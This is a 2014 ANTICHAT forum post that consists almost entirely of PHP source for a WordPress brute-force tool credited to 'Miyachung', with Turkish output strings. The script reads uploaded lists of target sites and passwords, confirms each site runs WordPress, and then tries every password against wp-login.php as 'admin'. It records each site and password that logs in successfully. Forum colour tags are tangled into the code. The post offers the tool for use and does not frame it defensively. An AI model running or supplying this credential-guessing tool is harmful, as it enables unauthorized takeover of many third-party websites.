вопрос по WP — ANTICHAT Forum

27.02.2014, 01:53
PoliGroS
Познающий
Регистрация: 29.03.2012
Сообщений: 77
Провел на форуме:
14367
Репутация: 0
PHP код:

		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function yaz(yazi,div,ex){var d = document.getElementById(div);d.innerHTML = yazi;if(ex == "temiz"){var g = document.getElementById("durum");g.innerHTML = "[+] Brute force başlıyor";}}function kaydet(yazi,div){var d = document.getElementById(div);d.innerHTML += yazi;}w0rdpress brute forcer - Janissaries.Org | Coded by Miyachung';if(isset($_POST['start'])){$brute = new brute();$site_list = $_FILES["liste"]["tmp_name"];$site_list = file_get_contents($site_list);$site_list = explode("rn",$site_list);$password_list = $_FILES["password"]["tmp_name"];$password_list = file_get_contents($password_list);$password_list = explode("n",$password_list);$toplam        = count($site_list);$kalan      = count($site_list);$tamamlanan = 0;$passay   = count($password_list);    echo "---------------------------------------------------------------------
";    echo "[+] Toplam site: ".$kalan."
";    echo "[+] Toplam password: ".$passay."
";    echo "[+] Coded by Mi | 
";    echo "[+] Special Thanks : burtay
";    echo "---------------------------------------------------------------------

";        echo "";    echo "";    echo "";    echo "";    echo "
Düşenler: 
";    foreach(array_filter($site_list) as $site)    {    $site=trim($site);    if(!preg_match('/http/',$site)) $site = "http://".$site;    echo "yaz('[+] Denenen Site: $site','denenen','temiz');";        if(!$brute->check($site))    {    echo "yaz('[!] Durum: Wordpress değil es geçildi','durum');";    usleep(1000000);    continue;    }    $kalan--;    $tamamlanan++;        echo "yaz('[+] Kalan siteler: $kalan','kalan');";        echo "yaz('[+] Tamamlanan : $tamamlanan / $toplam','tamamlanan');";        foreach(array_filter($password_list) as $password)        {        $time1 = time();        $password=trim($password);        echo "yaz('[!] Denenen şifre: $password','durum');";                $sonuc   = $brute->post($site,$password);        $founded = null;        if(preg_match('/wordpress_logged_in/',$sonuc) and preg_match('/Location/',$sonuc))        {        $founded = true;        $time2 = time();        $sure = ($time2-$time1);        echo "yaz('[!!!] Şifre bulundu!','durum');";        usleep(1000000);        echo "kaydet('---------------------------------------------------------------------
[+] Site: $site
[+] Password: $password
[+] Kırılma suresi: $sure
[+] Coded by Miyachung | janissaries.org
---------------------------------------------------------------------

','dusenler');";        break;        }        else        {        $founded = false;        }                }        if(!$founded){echo "yaz('[-] Şifre bulunamadı','durum');";}    }    }    else    {    echo '            Site List : 
            Password List : 
                        ';    }    echo "";    // ----------------------------- CLASS ---------------------------        class brute{public function check($url){$curl = curl_init();curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,20);curl_setopt($curl,CURLOPT_TIMEOUT,20);$data = curl_exec($curl);if(preg_match('/wp-content/',$data)){return true;}else{return false;}}public function post($url,$password){$curl = curl_init();curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);curl_setopt($curl,CURLOPT_URL,$url."/wp-login.php");curl_setopt($curl,CURLOPT_POST,1);curl_setopt($curl,CURLOPT_POSTFIELDS,"log=admin&pwd=$password&redirect_to=".urlencode($url.'/wp-admin/')."&testcookie=1");curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);curl_setopt($curl,CURLOPT_HEADER,1);curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,20);curl_setopt($curl,CURLOPT_TIMEOUT,20);curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');$exec=curl_exec($curl);curl_close($curl);return $exec;}}[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
Use*

http://127.0.0.1/BruteForce.php
ANTICHAT — форум по информационной безопасности, OSINT и технологиям
